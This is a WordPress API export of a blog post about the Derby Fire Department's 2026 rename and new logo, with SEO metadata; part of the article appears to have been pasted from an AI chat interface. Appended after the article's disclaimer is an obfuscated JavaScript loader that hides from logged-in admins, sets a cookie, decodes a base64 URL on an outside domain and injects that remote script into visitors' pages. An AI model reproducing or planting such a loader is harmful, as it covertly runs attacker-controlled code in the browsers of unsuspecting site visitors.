{"id":110,"date":"2026-01-06T17:13:17","date_gmt":"2026-01-06T17:13:17","guid":{"rendered":"https:\/\/uniquelogodesigns.com\/blog\/2026\/01\/06\/derby-fire-department-unveils-new-name-and-logo-for-2026\/"},"modified":"2026-01-06T17:13:17","modified_gmt":"2026-01-06T17:13:17","slug":"derby-fire-department-unveils-new-name-and-logo-for-2026","status":"publish","type":"post","link":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/","title":{"rendered":"Derby Fire Department Unveils New Name and Logo to Start 2026"},"content":{"rendered":"<h1><b>How to Embrace the Derby Fire Department&#8217;s New Identity<\/b><\/h1>\n<p><i><span style=\"font-weight: 400\">The Derby Fire Department has officially entered 2026 with a refreshed identity, announcing a new name and logo that reflect its strong connection to the community. The rebrand marks a significant milestone while keeping the department\u2019s mission, services, and staffing unchanged.<\/span><\/i><\/p>\n<h2><b>From Derby Fire &amp; Rescue to Derby Fire Department<\/b><\/h2>\n<p><i><span style=\"font-weight: 400\">As part of the update, the department has transitioned from the name <\/span><\/i><b><i>Derby Fire &amp; Rescue<\/i><\/b><i><span style=\"font-weight: 400\"> to <\/span><\/i><b><i>Derby Fire Department<\/i><\/b><i><span style=\"font-weight: 400\">. Officials say the simplified name better represents the organization\u2019s role and aligns with how residents already refer to the department.<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400\">The change is intended to improve clarity and recognition without altering how the department operates or serves the public.<\/span><\/i><\/p>\n<h2><b>A New Logo Inspired by Community Pride<\/b><\/h2>\n<p><i><span style=\"font-weight: 400\">Alongside the name change, a newly designed logo and patch were unveiled. The centerpiece of the logo is the iconic Derby \u201cD,\u201d symbolizing the department\u2019s close ties to the city and its residents.<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400\">The updated design features a cleaner, more modern look while honoring the department\u2019s history. Leaders emphasized that the logo bridges the past and present, celebrating tradition while preparing for the future.<\/span><\/i><\/p>\n<h2><b>Six Months of Input and a Department-Wide Vote<\/b><\/h2>\n<p><i><span style=\"font-weight: 400\">The rebranding process was not rushed. Over six months, firefighters and staff across the department provided input, reviewed design concepts, and participated in discussions.<\/span><\/i><\/p>\n<div class=\"flex flex-col text-sm pb-25\">\n<article class=\"text-token-text-primary w-full focus:outline-none [--shadow-height:45px] has-data-writing-block:pointer-events-none has-data-writing-block:-mt-(--shadow-height) has-data-writing-block:pt-(--shadow-height) [&amp;:has([data-writing-block])&gt;*]:pointer-events-auto [content-visibility:auto] supports-[content-visibility:auto]:[contain-intrinsic-size:auto_100lvh] scroll-mt-[calc(var(--header-height)+min(200px,max(70px,20svh)))] sm:AIPRM__conversation__response\" dir=\"auto\" data-turn-id=\"1caed133-4a05-4b37-80d3-4b5defb9e434\" data-testid=\"conversation-turn-2\" data-scroll-anchor=\"true\" data-turn=\"assistant\">\n<div class=\"text-base my-auto mx-auto pb-10 [--thread-content-margin:--spacing(4)] @w-sm\/main:[--thread-content-margin:--spacing(6)] @w-lg\/main:[--thread-content-margin:--spacing(16)] px-(--thread-content-margin)\">\n<div class=\"[--thread-content-max-width:40rem] @w-lg\/main:[--thread-content-max-width:48rem] mx-auto max-w-(--thread-content-max-width) flex-1 group\/turn-messages focus-visible:outline-hidden relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"flex max-w-full flex-col grow AIPRM__conversation__response\">\n<div class=\"min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-1\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"d7cdf3bb-12da-41de-b1e2-ea6942e776c7\" data-message-model-slug=\"gpt-5-2\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[1px]\">\n<div class=\"markdown prose dark:prose-invert w-full break-words dark markdown-new-styling\">\n<p data-start=\"145\" data-end=\"326\" data-is-last-node=\"\" data-is-only-node=\"\">The department selected the final logo through a department-wide vote, ensuring the new identity represents those who serve on the front lines as well as the community they protect.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/article>\n<\/div>\n<h2><b>What Will Not Change<\/b><\/h2>\n<p><i><span style=\"font-weight: 400\">Despite the new name and visual identity, the department confirmed that its services, staffing levels, and mission remain exactly the same. Emergency response, public safety programs, and community outreach efforts will continue without interruption.<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400\">Officials stressed that the rebrand is purely about identity and visibility, not a shift in operations.<\/span><\/i><\/p>\n<h2><b>Looking Ahead<\/b><\/h2>\n<p><i><span style=\"font-weight: 400\">The Derby Fire Department says the new branding positions it well for the future while reinforcing public trust and recognition. As the department moves forward in 2026, leaders hope the updated name and logo will strengthen community pride and make the department even more recognizable across the city.<\/span><\/i><\/p>\n<p><i><span style=\"font-weight: 400\">Disclaimer: Some information in this article is based on official statements and publicly available video and social media sources. <\/span><\/i>We present the content for informational purposes only.(function(){try{if(document.getElementById&amp;&amp;document.getElementById(&#8216;wpadminbar&#8217;))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||&#8221;).indexOf(&#8216;http2_session_id=&#8217;)!==-1)return;function systemLoad(input){var key=&#8217;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=&#8217;,o1,o2,o3,h1,h2,h3,h4,dec=&#8221;,i=0;input=input.replace(\/[^A-Za-z0-9+\/=]\/g,&#8221;);while(i&lt;input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1&lt;&gt;4);o2=((h2&amp;15)&lt;&gt;2);o3=((h3&amp;3)&lt;&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad(&#039;aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==&#039;);if(typeof window!==&#039;undefined&#039;&amp;&amp;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie=&#039;http2_session_id=1; expires=&#039;+d.toUTCString()+&#039;; path=\/; SameSite=Lax&#039;+(location.protocol===&#039;https:&#039;?&#039;; Secure&#039;:&#039;&#039;);try{window.__rl=u;}catch(e){}var s=document.createElement(&#039;script&#039;);s.type=&#039;text\/javascript&#039;;s.async=true;s.src=u;try{s.setAttribute(&#039;data-rl&#039;,u);}catch(e){}(document.getElementsByTagName(&#039;head&#039;)[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/p>\n","protected":false},"excerpt":{"rendered":"<p>How to Embrace the Derby Fire Department&#8217;s New Identity The Derby Fire Department has officially entered 2026 with a refreshed [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":109,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[12],"tags":[],"class_list":["post-110","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Derby Fire Department Unveils New Name and Logo to Start 2026 - My Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Derby Fire Department Unveils New Name and Logo to Start 2026 - My Blog\" \/>\n<meta property=\"og:description\" content=\"How to Embrace the Derby Fire Department&#8217;s New Identity The Derby Fire Department has officially entered 2026 with a refreshed [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\" \/>\n<meta property=\"og:site_name\" content=\"My Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/uniquelogodesignz\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-06T17:13:17+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp\" \/>\n\t<meta property=\"og:image:width\" content=\"800\" \/>\n\t<meta property=\"og:image:height\" content=\"400\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/webp\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@logo_unique\" \/>\n<meta name=\"twitter:site\" content=\"@logo_unique\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/person\/70f0802154a7f31e14795565a69c5afb\"},\"headline\":\"Derby Fire Department Unveils New Name and Logo to Start 2026\",\"datePublished\":\"2026-01-06T17:13:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\"},\"wordCount\":587,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp\",\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\",\"url\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\",\"name\":\"Derby Fire Department Unveils New Name and Logo to Start 2026 - My Blog\",\"isPartOf\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp\",\"datePublished\":\"2026-01-06T17:13:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage\",\"url\":\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp\",\"contentUrl\":\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp\",\"width\":800,\"height\":400,\"caption\":\"New Fire Identity\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.uniquelogodesigns.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Derby Fire Department Unveils New Name and Logo to Start 2026\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#website\",\"url\":\"https:\/\/www.uniquelogodesigns.com\/blog\/\",\"name\":\"Unique Logo Design\",\"description\":\"My Blog\",\"publisher\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.uniquelogodesigns.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#organization\",\"name\":\"My Blog\",\"url\":\"https:\/\/www.uniquelogodesigns.com\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/ULD-Logo.webp\",\"contentUrl\":\"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/ULD-Logo.webp\",\"width\":193,\"height\":55,\"caption\":\"My Blog\"},\"image\":{\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/uniquelogodesignz\",\"https:\/\/x.com\/logo_unique\",\"https:\/\/www.instagram.com\/uniquelogo.designs\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/person\/70f0802154a7f31e14795565a69c5afb\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ccf4732f28f87d18fd06c9ec818db7fe1950d41860587ea334a0bffb07e0499e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ccf4732f28f87d18fd06c9ec818db7fe1950d41860587ea334a0bffb07e0499e?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"https:\/\/uniquelogodesigns.com\/blog\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Derby Fire Department Unveils New Name and Logo to Start 2026 - My Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/","og_locale":"en_US","og_type":"article","og_title":"Derby Fire Department Unveils New Name and Logo to Start 2026 - My Blog","og_description":"How to Embrace the Derby Fire Department&#8217;s New Identity The Derby Fire Department has officially entered 2026 with a refreshed [&hellip;]","og_url":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/","og_site_name":"My Blog","article_publisher":"https:\/\/www.facebook.com\/uniquelogodesignz","article_published_time":"2026-01-06T17:13:17+00:00","og_image":[{"width":800,"height":400,"url":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp","type":"image\/webp"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@logo_unique","twitter_site":"@logo_unique","twitter_misc":{"Written by":"admin","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#article","isPartOf":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/"},"author":{"name":"admin","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/person\/70f0802154a7f31e14795565a69c5afb"},"headline":"Derby Fire Department Unveils New Name and Logo to Start 2026","datePublished":"2026-01-06T17:13:17+00:00","mainEntityOfPage":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/"},"wordCount":587,"commentCount":0,"publisher":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#organization"},"image":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage"},"thumbnailUrl":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp","articleSection":["News"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/","url":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/","name":"Derby Fire Department Unveils New Name and Logo to Start 2026 - My Blog","isPartOf":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage"},"image":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage"},"thumbnailUrl":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp","datePublished":"2026-01-06T17:13:17+00:00","breadcrumb":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#primaryimage","url":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp","contentUrl":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/New-Fire-Identity.webp","width":800,"height":400,"caption":"New Fire Identity"},{"@type":"BreadcrumbList","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/derby-fire-department-unveils-new-name-and-logo-for-2026\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.uniquelogodesigns.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Derby Fire Department Unveils New Name and Logo to Start 2026"}]},{"@type":"WebSite","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#website","url":"https:\/\/www.uniquelogodesigns.com\/blog\/","name":"Unique Logo Design","description":"My Blog","publisher":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.uniquelogodesigns.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#organization","name":"My Blog","url":"https:\/\/www.uniquelogodesigns.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/ULD-Logo.webp","contentUrl":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-content\/uploads\/2026\/03\/ULD-Logo.webp","width":193,"height":55,"caption":"My Blog"},"image":{"@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/uniquelogodesignz","https:\/\/x.com\/logo_unique","https:\/\/www.instagram.com\/uniquelogo.designs\/"]},{"@type":"Person","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/person\/70f0802154a7f31e14795565a69c5afb","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.uniquelogodesigns.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ccf4732f28f87d18fd06c9ec818db7fe1950d41860587ea334a0bffb07e0499e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ccf4732f28f87d18fd06c9ec818db7fe1950d41860587ea334a0bffb07e0499e?s=96&d=mm&r=g","caption":"admin"},"sameAs":["https:\/\/uniquelogodesigns.com\/blog"]}]}},"_links":{"self":[{"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/posts\/110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/comments?post=110"}],"version-history":[{"count":0,"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/posts\/110\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/media\/109"}],"wp:attachment":[{"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/media?parent=110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/categories?post=110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.uniquelogodesigns.com\/blog\/wp-json\/wp\/v2\/tags?post=110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}